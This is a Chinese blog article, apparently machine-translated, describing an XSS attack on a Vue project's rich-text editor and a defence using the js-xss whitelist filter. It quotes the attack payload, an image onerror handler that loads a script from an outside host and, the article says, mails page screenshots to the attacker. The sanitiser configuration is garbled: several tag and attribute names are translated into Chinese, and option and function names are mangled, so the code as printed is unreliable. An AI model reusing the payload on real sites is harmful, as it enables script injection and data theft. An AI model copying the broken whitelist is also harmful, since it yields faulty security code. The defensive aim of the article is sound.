vue-xss,xss攻击过程
XSS攻击是将恶意代码注入页面。以下文章主要介绍XSS在VUE某项目中遇袭的相关情况。通过示例代码介绍的非常详细,有需要的朋友可以参考一下。
目录
用于查找原因的用户定义过滤规则的前言摘要
前言
随着互联网的快速发展,信息安全已经成为企业最为关注的焦点之一,而前端是引发企业安全问题的高危据点。移动互联网时代,前端人员除了传统的XSS、CSRF安全问题外,还经常遇到网络劫持、混合API非法调用等新的安全问题。当然,浏览器本身也在不断进化发展,CSP、同站点Cookies等新技术也在不断推出,增强安全性。但潜在的威胁还是很多,需要前端技术人员不断“查漏补缺”。
发现原因
所有的原因都归于富文本编辑器。
需要将文本字段修改成富文本编辑器来支持用户直接粘贴图片,被使用在线图片上传的用户攻击。
攻击代码1 on error=s=createelement( script );body.appendChilds . src=//x0 . NZ/nQqS ;
当数据回显时,图片报错并执行onerror事件,导致当前页面截图发送到指定邮箱。
起初的解决方案是直接关闭富文本编辑器上传网络图片的方式,但后来再次遭到这种攻击,攻击者使用“fiddler”修改参数达到同样的效果。
最后采用第三方XSS攻击防御插件,通过配置白名单解决,提交获取时过滤后端返回的数据。
插件中文文件地址:github.com/leizongmin/…
npm安装xss
从“XSS”导入filterXSS
自定义过滤规则
当调用xss()函数进行过滤时,可以通过第二个参数设置自定义规则:
options={ };//自定义规则
html=filter XSS( script alert( XSS );/script ,选项);
由白名单指定,格式为:{ 标签名:[属性1 ,属性2]}。不在白名单上的标签将被过滤,不在白名单上的属性也将被过滤。
let options={
Strignoretagbody: true,//不在白名单中的标签以及标签中的内容直接删除。
白名单:{
h1: [style],
h2: [style],
h3: [style],
h4: [style],
h5: [style],
h6: [style],
hr: [style],
span: [style],
strong: [style],
b: [style],
我:[style],
br: [],
p: [style],
pre: [style],
代码:[style],
答:[style , target , href , title , rel],
img: [style , src , title],
div: [style],
表格:[样式,宽度,边框],
tr: [style],
td: [style , width , colspan],
th: [style , width , colspan],
tbody: [style],
ul: [style],
李:[style],
ol: [style],
dl: [style],
dt: [style],
em: [style],
引用:[style],
节:[style],
标题:[style],
页脚:[style],
blockquote: [style],
音频:[自动播放,控制,循环,预加载, src],
视频:[
自动播放,
控件,
循环,
预载,
src ,
高度,
宽度,
],
},
css: {
//因为上面的白名单中允许标签的style属性,所以要防止攻击者利用这种方式进行攻击。
白名单:{
颜色:真的,
背景色:true,
宽度:真,
身高:真的,
max-width: true,
max-height: true,
min-width: true,
min-height: true,
font-size: true,
},
},
}
content=filterXSS(内容,选项)
总结
这就是这篇关于XSS袭击VUE项目的文章。有关XSS袭击VUE项目的更多信息,请搜索我们以前的文章或继续浏览下面的相关文章。希望你以后能支持我们!
郑重声明:本文由网友发布,不代表盛行IT的观点,版权归原作者所有,仅为传播更多信息之目的,如有侵权请联系,我们将第一时间修改或删除,多谢。